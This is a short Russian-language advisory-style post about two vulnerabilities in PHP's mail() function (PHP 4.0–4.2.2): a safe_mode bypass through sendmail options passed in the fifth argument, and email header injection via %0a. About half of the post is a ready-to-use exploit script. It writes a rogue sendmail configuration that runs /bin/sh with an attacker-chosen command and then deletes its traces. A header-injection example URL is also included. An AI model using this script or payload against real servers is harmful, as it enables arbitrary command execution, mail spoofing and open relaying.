Уязвимость в PHP: функция mail().

Автор: Pig killer Сайт: http://www.nsd.ru
   
   PHP - среда разработки Personal HomePage от PHP Development Team. В PHP функции mail() обнаружено 2 уязвимости. Первая позволяет выполнять произвольные программы/сценарии в обход safe_mode, вторая позволяет подделывать почтовые заголовки и использовать сценарий в качестве открытого почтового ретранслятора. Обход ограничений safe_mode: gятый аргумент в функции mail() позволяет передавать опции командной строки к sendmail. Недавно была обнаружена возможность передачи метасимволов в 5-м аргументе, что позволяет выполнять произвольные команды оболочки или внешние программы. Эксплоит ниже. Внедрение управляющих ASCII символов в параметры функции mail().: если параметры передаются от пользователя, то он может подделать любые почтовые заголовки. Пример: http://www.php.net/mailing-lists.php? maillist=your@email.com%0a&email=fake@from.net%0a.
   Уязвимость обнаружена в PHP 4.0- 4.2.2.
   
   8<----- bypass_safe_mode.php -----8<
   <?
   $script=tempnam("/tmp", "script");
   $cf=tempnam("/tmp", "cf");
   
   $fd = fopen($cf, "w");
   fwrite($fd, "OQ/tmp
   Sparse=0
   R$*" . chr(9) . "$#local $@ $1 $: $1
   Mlocal, P=/bin/sh, A=sh $script");
   fclose($fd);
   
   $fd = fopen($script, "w");
   fwrite($fd, "rm -f $script $cf; ");
   fwrite($fd, $cmd);
   fclose($fd);
   
   mail("nobody", "", "", "", "-C$cf");
   ?>
   
   

Опубликовано: HTTP://WWW.R-T-F-M.INFO, pauk ©® 2000-2011.
All rights reserved.
При перепечатки ссылка на сайт обязательна.
Мнение администрации сайта не всегда совпадает с мнением автора..